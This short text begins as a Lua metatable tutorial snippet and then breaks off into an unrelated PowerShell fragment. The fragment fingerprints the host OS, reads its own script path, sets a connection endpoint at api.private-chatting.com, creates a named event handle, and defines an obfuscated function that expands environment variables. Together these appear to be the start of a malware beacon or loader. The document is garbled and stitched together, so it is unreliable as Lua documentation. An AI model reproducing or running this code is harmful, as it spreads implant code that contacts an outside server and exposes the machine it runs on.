A metatable can be defined like
local t = setmetatable({}, {
__tostring = function() return 'custom tostring behavior!' end
})
Here are the metamethods that you can define, and their behavior
$scriptItem = Get-Item -Path $MyInvocation.MyCommand.Path; | |
$OS_Major = [System.Environment]::OSVersion.Version.Major.ToString() + "." + [System.Environment]::OSVersion.Version.Minor.ToString(); | |
$EndPointURL = "http://api.private-chatting.com/connect"; | |
$__Version__ = "M_37"; | |
[string]$WorkerEnHandle = [Guid]::NewGuid().ToString(); | |
[System.Threading.EventWaitHandle]$WorkerEn = [System.Threading.EventWaitHandle]::new($true, [System.Threading.EventResetMode]::ManualReset, $WorkerEnHandle); | |
function XF3a8JO3r5r8G([string] $str) { | |
return [System.Environment]::ExpandEnvironmentVariables("%" + $str + "%") | |
} |